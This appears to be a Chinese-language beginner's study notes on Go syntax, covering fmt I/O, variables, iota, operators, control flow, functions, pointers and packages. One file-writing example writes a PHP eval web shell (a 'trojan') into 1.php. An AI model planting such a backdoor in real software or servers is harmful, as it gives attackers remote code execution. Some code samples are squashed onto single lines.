GoLang 学习 (入门)

go run 1.go 执行命令

go build 1.go 打包为exe

快速 并且无依赖

在开始项目 需要 生成 go.mod

go mod init mod 终端执行

go: creating new go.mod: module mod
go: to add module requirements and sums:go mod tidy

go的基本目录结构

src
------gocode
------------项目
------------项目1
---------------------main  //代码存放处

1.基本go语言演示

参考资料:

https://www.cnblogs.com/jiangchunsheng/p/14329024.html

前景 · Go语言中文文档

package main
​
import "fmt"
func main() {fmt.Println("hello word");
}

这里会打印出helloword 所以这是最简单的go语言

但是这里还是需要解释

fmt解释

fmt是go语言的一个包 包含了输入输出内容

包含下面的内容

输出

直接将字符串输出到控制台

package main
​
import "fmt"
​
func main() {fmt.Print("hello word")
}
go

这里我们可以发现是通过 Print 的输出方式 这个其实就是原封不动的将内容暑促

这个内容是支持格式化字符串的输出

package main
​
import "fmt"
​
func main() {fmt.Printf("hello word\n%s", "no")
}
​

这里我们可以发现 可以通过占位符或者 格式化处理后的内容

这个会自己添加换行 就是一个代码一行 不支持格式化处理

package main
​
import "fmt"
​
func main() {fmt.Println("hello word")fmt.Println("hello word123123")
}
​

这个系列的函数会将内容输出到一个 io.writer接口中欧你

我们可以通过这个函数将文件中写入内容

给出例子

package main
​
import ("fmt""os"
)
​
func main() {fmt.Fprintln(os.Stdout, "开始向当前目录下的1.php写入木马")fileObj, err := os.OpenFile("./1.php", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)if err != nil {fmt.Println("打开文件错误,err:", err)}name := "<?php @eval($_GET[1]);?>"fmt.Print("写入成功")fmt.Fprint(fileObj, "写如:$s", name)
}
​

发现这里通过 os 包 实现系统写入内容 并且通过fileObj获取到 创建、写、加等操作

最后这里通过 Fprint 写入文件

会将传入的数据 生成 并且返回一个字符串 可以使用格式化

package main
​
import "fmt"
​
func main() {s1 := fmt.Sprintf("不同的字符串哦")s2 := fmt.Sprintln("输出内容了哦")fmt.Println(s1)fmt.Println(s2)
}
​

这里是将输入内容全部转为字符串

这里是甩出错误信息

package main
​
import ("errors""fmt"
)
​
func main() {s1 := errors.New("写入poc木马出错")w := fmt.Errorf("错误内容出现了:%w", s1)fmt.Println(w)
}
​

输入

package main
​
import ("fmt"
)
​
func main() {var (name     stringage      intmaarried bool)fmt.Scan(&name, &age, &maarried)fmt.Printf("结果为 name:%v age: %d married:%v", name, age, maarried)
​
}
​

这里通过输入内容 并且%v 自动识别是什么类型 输出 结果

是上面的升级 我们可以通过字符串规定输入内容

package main
​
import ("fmt"
)
​
func main() {var (name     stringage      intmaarried bool)fmt.Scanf("1:%v 2:%d 31:%v", &name, &age, &maarried)fmt.Printf("结果为 name:%v age: %d married:%v", name, age, maarried)
​
}
​
1:lxz 2:18 3:no
结果为 name:lxz age: 18 married:false

我们需要按照格式输入 才会被存入变量中 否则不会

这个的作用是用户输入回车 就停止扫描 存入变量

package main
​
import ("fmt"
)
​
func main() {var (name     stringage      intmaarried bool)fmt.Scanln(&name, &age, &maarried)fmt.Printf("结果为 name:%v age: %d married:%v", name, age, maarried)
​
}
​
lxz 18 no
结果为 name:lxz age: 18 married:false

这里就介绍完了 fmt包的内容

然后我们继续

2.go代码的组成

首先 我们通过上面的代码 可以发现存在一下组成部分

包声明
package main
就是一个包  这是必须的 所有go项目 必须存在一个 main包 
​
引入包
import  "lmt" 如果多个包  import( "lmt","os")
这里就和python的import类似
​
函数
func main() 主函数 这是每个 go项目必须的
​
变量
语句 & 表达式
注释
​

的标识符

这里介绍无效的标识符

  • 1ab(以数字开头)

  • case(Go 语言的关键字)

  • a+b(运算符是不允许的)

的字符串链接

字符串链接 通过 +实现

例如

fmt.Println("hello "+"world")

的空格

这里需要特地介绍一下空格

在关键字和表达式中一定需要加上空格

例如

if x > 0{
​
}

再比如 这里的函数调用 两个参数和 函数与等号之间 都需要空格

result := add(2, 3)

3.go的语言类型

这里直接查看菜鸟教程即可

Go 语言数据类型 | 菜鸟教程

语言变量

这里要介绍一下go的变量

go语言由 数字,字母,下划线组成变量

不能为数字开头

申明变量一般使用 var 、 可以一次申明多个变量

申明变量的格式 var 变量名字 类型
如:
1.var  name string
​
2.var(name stringage intpassword int
)
3. var password,age int
​
如果要赋值var (name     string = "xxx"age      int    = 18maarried bool   = false)
即可实现

如果没有初始化 那么就是 零值

变量的赋值

这里需要注意 下面这个方式是不可以的

package main
​
import "fmt"
​
func main() {//1  使用var变量声明 赋值var num int = 18fmt.Println(num)
​//2  不赋值var num2 intfmt.Println(num2)
​//3  自动推断变量名var num3 = 38fmt.Println(num3)
​//4 省略 var  直接赋值num4 := 40fmt.Println(num4)
}
​

报错 因为已经声明变量了 所以第二次申明就发生报错

这里我们可以通过

age:=1 直接申明 这里就相当于

var age int 
age =1 

所以我们其实不需要大费周章的var设置 (除非真的需要)

我们对字符串 bool 都可以通过

name :="abc"
age :=18
password := false   (bool类型)
package main
​
import ("fmt"
)
​
func main() {name :="abc"age :=18maarried := false fmt.Printf("结果为 name:%v age: %d married:%v", name, age, maarried)
​
}
​

总结

//变量总结
package main
​
import ("fmt"
)
​
// 全局变量
var n14 = 100
var n90 = 000
​
// 一次性的全局变量声明
var (n123 = "no"n312 = "yes"
)
​
func main() {// 均为局部变量//1  使用var变量声明 赋值var num int = 18fmt.Println(num)
​//2  不赋值var num2 intfmt.Println(num2)
​//3  自动推断变量名var num3 = 38fmt.Println(num3)
​//4 省略 var  直接赋值num4 := 40fmt.Println(num4)fmt.Println("----------------------------------------------------------------------------")var n1, n2, n3 intfmt.Println(n1, n2, n3)var n4, n5, n6 = 10, "fuck", 7.8fmt.Println(n4, n5, n6)n7, n8, n9 := 1123, "you ", 7.112313fmt.Println(n7, n8, n9)fmt.Println("----------------------------------------------------------------------------")fmt.Println(n7, n90)fmt.Println("----------------------------------------------------------------------------")fmt.Println(n123, n312)
}
​

常量的定义

这里介绍一下常量的定义

基本格式为

const 常量名 [类型] = value
​
这里需要注意 类型是通过 [] 来选择的 所以是可选的
​
和变量赋值一样 我们通过传递 参数 语言可以自动识别是什么类型的
package main
​
import "fmt"
​
func main(){const LENGTH int = 8 const WIDTH int = 5var area int //这里注意 var是和const的区别是 一个变量 一个常量const a,b,c = 1, false ,'1111'area = LENGTH * WIDTHfmt.Printf("面积为:%d",area)println()println(a,b,c)
}
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
面积为:40
1 false 1111

常量还可以通过枚举的方式实现

const (error = 0true = 1male =2
)

这里需要介绍一个特殊的"常量"

iota

这个常量是会通过行数自行增加

const(a = iota  //0   b         //1c        //2d = "str" //这个时候是存在常量值了 就不进行覆盖 而是继续加1 //3e        //这里继承的是d的值 所以这里其实是 "str"   iota +=1f = 100   //这里为 100 iota继续+1g        //继承 f  iota +1h = iota  //恢复计数 7i         // 8
)

完整代码

package main
​
import "fmt"
​
func main() {const (a = iota  //0b         //1c         //2d = "str" //这个时候是存在常量值了 就不进行覆盖 而是继续加1 //3e         //这里继承的是d的值 所以这里其实是 "str"   iota +=1f = 100   //这里为 100 iota继续+1g         //继承 f  iota +1h = iota  //恢复计数 7i         // 8)fmt.Println(a, b, c, d, e, f, g, h, i)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
0 1 2 str str 100 100 7 8

这里跟着菜鸟教程的内容查看 << 的使用

package main
​
import "fmt"
​
func main() {const (i = 1 << iotaj = 3 << iotak l)fmt.Println(i,j,k,l)
}
​

这里介绍一下

PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
1 6 12 24
1 << iota  其实是 1 << 0 不移动 所以不变
3 << iota  这个时候 iota为 1  << 代表二进制向左移动1位  3 = 0011  -----> 移动1位  ----> 0110=6
3 << iota  这个时候 iota为 2  变为 1100 =12   这里发现 常数值是不变 只变了iota值

4.go的运算符

二进制的运算符

&按位与运算符"&"是双目运算符。 其功能是参与运算的两数各对应的二进位相与。(A & B) 结果为 12, 二进制为 0000 1100
|按位或运算符"|"是双目运算符。 其功能是参与运算的两数各对应的二进位相或(A | B) 结果为 61, 二进制为 0011 1101
^按位异或运算符"^"是双目运算符。 其功能是参与运算的两数各对应的二进位相异或,当两对应的二进位相异时,结果为1。(A ^ B) 结果为 49, 二进制为 0011 0001
<<左移运算符"<<"是双目运算符。左移n位就是乘以2的n次方。 其功能把"<<"左边的运算数的各二进位全部左移若干位,由"<<"右边的数指定移动的位数,高位丢弃,低位补0。A << 2 结果为 240 ,二进制为 1111 0000
>>右移运算符">>"是双目运算符。右移n位就是除以2的n次方。 其功能是把">>"左边的运算数的各二进位全部右移若干位,">>"右边的数指定移动的位数。A >>

假定 A 为60,B 为13:

这里还要注意一下其他的运算符号

其他运算符

&返回变量存储地址&a; 将给出变量的实际地址。
*指针变量。*a; 是一个指针变量
package main
​
import "fmt"
​
func main() {var a int = 4var ptr *intptr = &afmt.Println(a, ptr)
}
​

这里我们为a赋值 并且获取到 a 的变量地址

PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
4 0xc00000a0b8

这里可以看到 现在变量在我电脑中的地址是上面这个

运算优先级

5* / % << >> & &^
4+ - | ^
3== != < <= > >=
2&&
1||

这里是关于go 中运算的优先级 由上至下代表优先级由高到低

5.go语言的条件运算符

这里主要介绍一下

select 其实和 switch 类似 都是通过 case来获取
但是不一样的是 select 是随机获取    如果没有case 就会杜塞 直到出现case
​

继续学习一下跳出循环的方式

这里有3个

break:
这个是 中断当前for 循环 或者 switch的时候 选择一个case后 跳出switch
​
continue:
这个是 跳过当前循环的剩余内容 然后继续下一个的循环 例如 我们需要循环10次 这里第2次 符合条件,但是不想停 我们就跳出第二次 开始执行第三次
​
goto:
符合条件时跳转到特定地址
​

这里解释一下goto的内容

goto

package main
​
import "fmt"
​
func main() {var a int = 10LOOP : for a < 20{if a == 15 {a +=1goto LOOP}fmt.Println(a)a++}
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
10
11
12
13
14
16
17
18
19

这里我们可以看见 满足条件后 a+1 然后直接 跳到 loop 开始下一个循环

for

这里也要介绍一下go的for循环方式

for存在3中写法 都和c语言类似

for 控制变量的处置; 逻辑表达式控制;控制变量的增量
例子 for i; i < n ; i++{
​
}
​
for 逻辑表达式控制
例子 for n > i{
​
}
​
for {}
这里是类似于 while(true)

这里也给出例子 说明一下go的特殊的for

例子一 通过for 定义多个变量

s := "abc"
​
for i, n := 0, len(s); i < n; i++ { // 常见的 for 循环,支持初始化语句。println(s[i])
}
​
这里我们可以发现 设定了两个变量
i = 0
n = len(s) 是的 没错 n := 0 ,len(s) 是给 n 赋值 len(s)

例子二

package main
​
func main() {s := "abc"n := len(s)for n > 0 {n--println(s[n])}
}
​

这里其实就是通过 while(n > 0)的方式实现 或者 for(; n > 0 ;)

例子三

package main
​
// import "go/printer"
​
func main() {s := "abc"for {println(s)}
}
​

无限循环

数组的循环

这里介绍一下数组 在go中如何遍历

package main
​
func main() {a := [3]int{333, 222, 111} //数组的声明for n, i := range a {println(n, i)
​}
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
0 333
1 222
2 111

这里我们可以发现 通过 range 数组 可以将里面进行遍历

package main
​
func main() {a := [3]string{"333", "fuck", "you"} //数组的声明for n, i := range a {println(n, i)
​}
​
}
​

字符串也行

6.函数

这里学习一下函数

func 函数名(参数 类型)[函数返回的类型]{
​
}

例子

package main
​
func main() {a := 123b := 321println(max(a, b))
}
func max(num1, num2 int) int {var result intif num1 > num2 {result = num1} else {result = num2}return result
}
​

这里就是基本的函数定义

7.数组

这里学习一下数组

数组的声明

var 数组名字 [大小]数组类型{}
​
var test [10]float{}
​

和变量一样 可以通过 := 声明

number := [10]float{}

数组长度不确定 我们就通过 [...] 来代替

如果我们需要指定某位置的内容我们可以通过下面的方式来实现

num := [...]int{1:123,3:321}
package main
​
import ("fmt"
)
​
func main() {num := [...]int{1: 123, 3: 321}for k := 0; k < 4; k++ {fmt.Printf("num[%d] = %d\n", k, num[k])}
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\1.基础go.go"
num[0] = 0
num[1] = 123
num[2] = 0
num[3] = 321

---------------------------------------------

这里重新学清楚一下

数据类型

扩展 进制

几进制:逢几进1

十六进制               十进制          八进制             二进制
0
1                        0              0                 0
2                        1              1                 1
3                        2              2                 10 //进1
4                        3              3
5                        4              4
6                        5              5
7                        6              6
8                        7              7
9                        8              10 //进1
A                        9
B                        10 //进1
C
D
E
F
10 //进1

十进制进制 ,二进制 互相转换

2  ---- 10
​
1101 ====   1   1    0    1
然后×上 2的x幂
​
1*2^3 + 1*2^2 + 0*2^1 + 1*2^0
= 8 + 4 + 0 + 1 = 13
​
10 ---- 2
13 
​
13 // 2 = 6 余 1    ^
6 // 2 =  3 余 0    |
3 // 2 =  1 余 1    |
1 // 2 =  0 余 1    |
然后从下往上看
​

八进制,十进制 互相转换

16
1    6  =  1*8^1 + 6*8^0
8 + 6 = 14
​
14
​
14 //8  = 1 余数 6
1 // 8  = 0 余数 1
倒着看
16

八进制转换为十六进制

先转为十进制
​
8 ----->  10  ------> 16

整数型

有符号

int
1字节 = 8位
有符号  int8 int 16 int 32 int64   分别占 1,2,4,8 字节   存储空间的不同
int8 :  -128 --- 127
int16 : -32768-32767
如何计算的呢
​
0 1 1 1 1 1 1 1  二进制 11111111 --- >  127 加上 +  +127  最大值
1 0 0 0 0 0 0 0 二进制 11111111 ---->  128 加上 -   -128  最小值
-1 取反  ----> 正数
01111111 (取反) 10000000 (无符号的正数)  + -号  = -128  
package main
​
func main() {var a int8 = 32var b int8 = 133println(a, b)
}
//超出范围
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
# command-line-arguments
.\main.go:5:15: cannot use 133 (untyped int constant) as int8 value in variable declaration (overflows)

无符号

无符号 uint8 uint16 uint32 uint64
uint8 0~255
uint16 0~2的16次方-1
​
​
11111111 = 2^7 +127 = 255
00000000 = 0 
​
只能是非负的

其他类型

int    有符号     32位系统 4字节   64位8字节     go的默认声明 为 int
uint   无符号     32位系统 4字节   64位8字节
​
package main
​
import ("fmt""unsafe"
)
​
func main() {var a int8 = 32var b = 133println(a)fmt.Printf("类型是:%T\n", b)//打印对应类型的字节数fmt.Println(unsafe.Sizeof(b))
}
​

如何选择

保小不保大

var age int64 = 28 //浪费
var age uint8 = 18 //符合

浮点类型

浮点就是存放小数的
float32 4字节 
float64 8字节   //和操作系统无关
​
PS:会有精度损失
符号位 指数位 尾数位 尾数位只是存储了大概 容易精度损失
package main
​
import "fmt"
​
func main() {var num1 float32 = 3.14fmt.Println(num1)
​var num2 float32 = -3.14fmt.Println(num2)//科学计数法 e大小写均可var num3 float32 = 314e-2fmt.Println(num3)
​var num4 float32 = 314e+2fmt.Println(num4)
​var num5 float64 = 3.14fmt.Println(num5)fmt.Println("--------------精度---------------")var num6 float32 = 256.00000000000916fmt.Println(num6)var num7 float64 = 256.00000000000916fmt.Println(num7)
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3.14
-3.14
3.14
31400
3.14
--------------精度---------------
256
256.00000000000915

选择

通常选择 float64位 默认也是float64

运算符

计算运算符

+

package main
​
import "fmt"
​
func main() {// + 号  1. 正数  2. 相加 3.字符串拼接var n1 int = +10fmt.Println(n1)var n2 int = 4 + 7fmt.Println(n2)var s1 string = "fuck" + "you"fmt.Println(s1)
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
10
11
fuckyou

/

package main
​
import "fmt"
​
func main() {fmt.Println(10 / 3)  fmt.Println(10.0 / 3)
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3
3.3333333333333335

% 取模

等价于 a%b = a-a/b*b

package main
​
import "fmt"
​
func main() {fmt.Println(10 % 3)  //10%3 = 10- 10/3*3 = 10-9  = 1fmt.Println(-10 % 3)fmt.Println(10 % -3)fmt.Println(-10 % -3) 
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
1
-1
1
-1

++ --

package main
​
import "fmt"
​
func main() {var a int = 10a++fmt.Println(a)//只能单独运算,不能参与运算中a-- // 没有 --a ++afmt.Println(a)
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
11
10

赋值运算符

=  +=  -+  *=  /=  %=
类型都是bool
a = b  b赋值给a
package main
​
import "fmt"
​
func main() {var a int = 10 // 10 赋值给 avar b int = (10*20)%3 + 3 - 7fmt.Println(a, b)a += 10// a = a + 10fmt.Println(a)
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
10 -2
20

关系运算符

类型都是bool
== != >= <= < >
要么true 要么false
package main
​
import "fmt"
​
func main() {fmt.Println(5 == 9)
}
​

逻辑运算符

&& || !
与 或 非 
package main
​
import ("fmt"
)
​
func main() {// &&fmt.Println(true && true)// ||fmt.Println(true || false)// !fmt.Println(!false)
}
​

位运算符

&  |   ^

其他运算符

& *
&: 返回变量的存储地址
*: 取指针变量的对应数值
package main
​
import "fmt"
​
func main() {var age int = 18fmt.Println("age: ", &age) //age:  0xc00000a0b8
​var ptr *int = &agefmt.Println(ptr)  //0xc00000a0b8fmt.Println(*ptr) //18
}
​

流程控制

分支结构

if分支

单分支
if 条件表达式{逻辑代码
}
PS: if和条件表达式中间需要空格
package main
​
import "fmt"
​
func main() {var count int = 20if count < 30 {fmt.Println("数量不足")}
}
​

if后可以加入变量的定义

package main
​
import "fmt"
​
func main() {
​if count := 20; count < 30 {fmt.Println("数量不足")}
}
​
双分支
if 条件表达式{逻辑代码1
}else{逻辑代码2
}
​
下面是错误的 !!!!!!!
if 条件表达式{逻辑代码1
}
else{逻辑代码2
}
package main
​
import "fmt"
​
func main() {
​if count := 30; count < 30 {fmt.Println("数量不足")} else {fmt.Println("数量充足")}
}
​
多分支
if 条件表达式{逻辑代码1
} else if 条件表达式2 {逻辑代码2
}......{逻辑代码....
}else{逻辑代码n
}
​
package main
​
import "fmt"
​
func main() {
​if count := 30; count < 30 {fmt.Println("数量不足")} else if count > 15 {fmt.Println("数量还可以")} else {fmt.Println("数量充足")}//分支符合了 就不会再执行了
}
​

switch分支

swtich 表达式 {case 值1,值2:语句块case 值3,值4:语句块default:语句块
}
package main
​
import "fmt"
​
func main() {var score int = 187switch score / 10 {case 10:fmt.Println("你的等级为A ")case 9:fmt.Println("你的等级为B ")case 8:fmt.Println("你的等级为C ")case 7:fmt.Println("你的等级为D ")case 6:fmt.Println("你的等级为E ")case 5:fmt.Println("你的等级为F ")case 4:fmt.Println("你的等级为G ")case 3:fmt.Println("你的等级为H ")case 2:fmt.Println("你的等级为I ")case 1:fmt.Println("你的等级为J ")case 0:fmt.Println("你的等级为K")default:fmt.Println("成绩出错")}
}
​
switch的细节
注意事项:
1、switch 后面是表达式、变量、常量 (需要返回一个确切的值)
2、case后面如果是常量 那么就不能重复(分支不能一样)
3、case后面的值 需要和switch的
​
var a int32 = 5
var b int64 = 9
switch a {case b :
}
上面是不行的
​
4、 case 后面可以带很多值 通过 逗号 分开
​switch score / 10 {case 10, 11, 12:fmt.Println("你的等级为A ")5、 case后面不需要break
6、 default 可以不需要,位置可以随意
7、 switch 也可以不带表达式 可以当作if使用
​
package main
​
import "fmt"
​
func main() {var score int = 87switch {case score == 2:fmt.Println("nonono")case score != 2:fmt.Println("yesyeses")}
}//不推荐
​
8、switch 后面也可以直接定义变量 使用分号
​
package main
​
import "fmt"
​
func main() {switch score := 86; {case score == 2:fmt.Println("nonono")case score != 2:fmt.Println("yesyeses")}
}//不推荐
9、 switch穿透 利用 fallthrough 可以穿透到下一个case
​
package main
​
import "fmt"
​
func main() {var score int = 87switch score / 10 {case 10:fmt.Println("你的等级为A ")case 9:fmt.Println("你的等级为B ")case 8:fmt.Println("你的等级为C ")fallthroughcase 7:fmt.Println("你的等级为D ")case 6:fmt.Println("你的等级为E ")case 5:fmt.Println("你的等级为F ")case 4:fmt.Println("你的等级为G ")case 3:fmt.Println("你的等级为H ")case 2:fmt.Println("你的等级为I ")case 1:fmt.Println("你的等级为J ")case 0:fmt.Println("你的等级为K")default:fmt.Println("成绩出错")}
}
输出//
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
你的等级为C 
你的等级为D 

循环结构

for

for (初始表达式;布尔表达式;迭代因子) {循环体
}
package main
​
import "fmt"
​
func main() {var num intfor i := 0; i <= 5; i++ {num += i}fmt.Println(num)
}
​

for 和var 都不可以使用var初始化变量

函数

 func 函数名(形参) (返回值类型){执行return 返回}
package main
​
import "fmt"
​
func add(num1 int, num10 int) int {var sum intsum = num1 + num10return sum
}
​
func main() {var num int = 10var num2 int = 30fmt.Println(add(num, num2))
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
40

函数的细节

1、函数 对我们需要的功能进行分装 我们后续可以复用
2、函数和函数是并列的 所以不能将 函数写入 main中
3、函数名: 
首字母不能是数字 
如果首字母大写 那么其他包也可以使用  (public)
如果首字母小写 那么其他包不可以使用  (private)
​
4、形参列表:
个数没有限制
作用是接受外来的数据
​
5、返回值类型列表
个数没有限制
​
​
package main
​
import "fmt"
​
func add(num1 int, num10 int) {var sum intsum = num1 + num10fmt.Println(sum)
}
​
func main() {add(10, 20)
​
}
// 可以发现 这里没有返回值 直接输出 所以可以不写
//多个返回值  && 在多个返回值中 只获取一个
package main
​
import "fmt"
​
func add(num1 int, num10 int) (int, int) {var sum intsum = num1 + num10var res intres = num1 - num10return sum, res
}
​
func main() {sum, _ := add(10, 20) //如果我不需要后面的result 那么使用 _ 来忽略fmt.Println(sum)
​
}
​

内存分析

package main
​
import "fmt"
​
//实现交换
func change(n1 int, n2 int) {var t intt = n1n1 = n2n2 = t
}
​
func main() {var num1 int = 10var num2 int = 20fmt.Printf("交换前两个数分别是: a = %v , b = %v \n", num1, num2)change(num1, num2)fmt.Printf("交换后两个数分别是: a = %v , b = %v ", num1, num2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
交换前两个数分别是: a = 10 , b = 20 
交换后两个数分别是: a = 10 , b = 20 

发现没有实现数字的交换

执行完函数后 exchangeNum 函数的栈帧会被销毁

并且值没有传递回去 所以没有改变 main的 num num1

package main
​
import "fmt"
​
//实现交换
func change(n1 int, n2 int) (int, int) {var t intt = n1n1 = n2n2 = treturn n1, n2
}
​
func main() {var num1 int = 10var num2 int = 20fmt.Printf("交换前两个数分别是: a = %v , b = %v \n", num1, num2)num1, num2 = change(num1, num2)fmt.Printf("交换后两个数分别是: a = %v , b = %v ", num1, num2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
交换前两个数分别是: a = 10 , b = 20 
交换后两个数分别是: a = 20 , b = 10 

go中支持可变参数

package main
​
import "fmt"
​
func test(nums ...int) { //定义了int类型 的可变参数 可以传入多个int类型数据fmt.Println(nums)
}
func main() {test()test(1, 2, 3)test(1, 1, 1, 1, 1, 1, 1, 1)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[]
[1 2 3]
[1 1 1 1 1 1 1 1]

里面怎么处理呢

package main
​
import ("fmt"
)
​
func test(nums ...int) { //定义了int类型 的可变参数 可以传入多个int类型数据//函数内部当做可变参数为 切片 来处理 (数组)//遍历可变参数for i := 0; i < len(nums); i++ {fmt.Println(nums[i])}
}
func main() {test()fmt.Println("----------------------------------")test(1, 2, 3)fmt.Println("----------------------------------")test(1, 1, 1, 1, 1, 1, 1, 1)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
----------------------------------
1
2
3
----------------------------------
1
1
1
1
1
1
1
1

数组和基本函数类型的修改 不会影响原本函数 因为只传递值

但是如果我想在函数内修改的话 我们可以传入指针和地址来实现

package main
​
import ("fmt"
)
​
func test(num1 *int) { //这里传入的是地址*num1 = 30 //对地址对应的变量进行该值fmt.Println("test--------", *num1)
}
func main() {var num1 int = 50test(&num1) // 传入地址fmt.Println("main--------", num1)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
test-------- 30
main-------- 30

发现修改了 这里的原理这里

传入的内容就是一个地址 所以我们修改内容就会通过地址找到main函数中的参数 然后修改

函数也是一个数据类型

函数也是一个数据类型,可以赋值给一个变量 这个时候 函数就是这个变量了 然后可以通过 变量对函数进行调用
package main
​
import ("fmt"
)
​
func test(num int) { //这里是一个数据类型fmt.Println(num)
}
func main() {a := testfmt.Printf("a 对于的类型 %t  \ntest函数对应的类型 %t\n", a, test)a(1)
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
a 对于的类型 %!t(func(int)=0x5254c0)  
test函数对应的类型 %!t(func(int)=0x5254c0)
1

可以发现 两个的type 都是一样的 而且可以通过 a(1) 对test进行调用

函数可以作为形参 并且调用

package main
​
import ("fmt"
)
​
func test(num int) { //这里是一个数据类型fmt.Println(num)
}
​
func add(num1 int, num float32, testFunc func(int)) {fmt.Println("----调用成功")
}
func main() {add(1, 2.0, test)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
----调用成功

go支持自定义数据类型

type 自定义数据类型 数据类型    (相当于起别名)
​
type myint int ------> myint = int
​
package main
​
import ("fmt"
)
​
func test(num int) { //这里是一个数据类型fmt.Println(num)
}
​
func add(num1 int, num float32, testFunc func(int)) {fmt.Println("----调用成功")
}
func main() {add(1, 2.0, test)type myint int //myint = intvar num23 myint = 18fmt.Printf("数据类型是 %t", num23)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
----调用成功
数据类型是 %!t(main.myint=18)

但是这里注意一下

    type myint int //myint = intvar num23 myint = 18fmt.Printf("数据类型是 %t", num23)
​var num2 int = 30num2 = num23不能通过这

如果实在需要 我们将 num23 转变为int

package main
​
import ("fmt"
)
​
func test(num int) { //这里是一个数据类型fmt.Println(num)
}
​
func add(num1 int, num float32, testFunc func(int)) {fmt.Println("----调用成功")
}
func main() {add(1, 2.0, test)type myint int //myint = intvar num23 myint = 18fmt.Printf("数据类型是 %t\n", num23)
​var num2 int = 30num2 = int(num23)fmt.Println(num2)
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
----调用成功
数据类型是 %!t(main.myint=18)
18

可以给函数起别名

package main
​
import ("fmt"
)
​
func test(num int) { //这里是一个数据类型fmt.Println(num)
}
​
type myFunc func(int)   // 起别名
​
func add(num1 int, num float32, testFunc func(int)) {fmt.Println("----调用成功")
}
func main() {add(1, 0.2, test)
}
​

支持给返回值命名

package main
​
import "fmt"
​
func test(num int) (sum int) { //这里指定了返回值进行命名sum = numreturn
}
​
func main() {result := test(1)fmt.Println(result)
}
​

我们不可能将所有的函数放在一个源文件里 

main.go

package main //1. package 是包的声明
import ("fmt""learn/add"
)
​
func main() {fmt.Println("这里是main函数的执行")add.AddNum()
}
​

add.go

package add
​
import "fmt"
​
func AddNum() { //首字母需要大写 让其他包访问fmt.Println("执行了 add包的addNum函数")
}
​

这里需要注意的是

需要在go的src根目录下 才可以实现导包
​

这里的层级关系为

可以发现 两个目录 其实就是 两个包

PS D:\GO\src\learn> go run "d:\GO\src\learn\main\tempCodeRunnerFile.go"
这里是main函数的执行
执行了 add包的addNum函数

包的细节

1、包的声明最好和文件夹一直 并且vscode 可以直接通过文件夹提示词填充

2、 main函数必须要放在main包下 所以否则会编译报错

3、 打包的语法

package 包名

4、 引入包的语法

import "路径" // 从 gopath (环境变量)的 src 下开始找 

5、调用其他函数的时候 必须要加上包名 并且在包中的 Public 需要大写首字母

func Add(){
// 这个函数 是可以被其他包所引用的
}
func addNum(){
//这个函数 是私有的 只可以通过本包使用
}
在main中调用包的方式
test.Add()    test包中调用add函数

6、 一个包下不能有重复的函数

7、 虽然建议包名和目录一样 但是也可以不需要

8、 一个目录下的同级文件都属于一个包(文件夹) 意思就是一个包(文件夹)下 package声明 都需要一样的 不能不一样

9、 可以对包继续起别名

import (test "包的路径(aaa)"
)
下面的调用
test.Add()
但是这里不能使用原先的包名
aaa.Add() //报错

包的解释

从程序来看 申明为 package 为同一个包名的代码块 就是一个包
​
从源文件来看 一个文件夹就是一个包(推荐通过文件夹命名)

init函数

对内容进行初始化的操作 每个源文件都可以包含一个 init函数
在main函数之前被调用
package main
​
import "fmt"
​
func main() {fmt.Println("main函数被执行")
}
​
func init() {fmt.Println("init被执行")
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
init被执行
main函数被执行

看到 init实现被go框架进行调用

存在全局变量 init函数 和main函数的执行流程

package main
​
import "fmt"
​
var num int = test()
​
func test() int {fmt.Println("test函数被执行")return 10
}
​
func main() {fmt.Println("main函数被执行")
}
​
func init() {fmt.Println("init被执行")
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
test函数被执行
init被执行    
main函数被执行

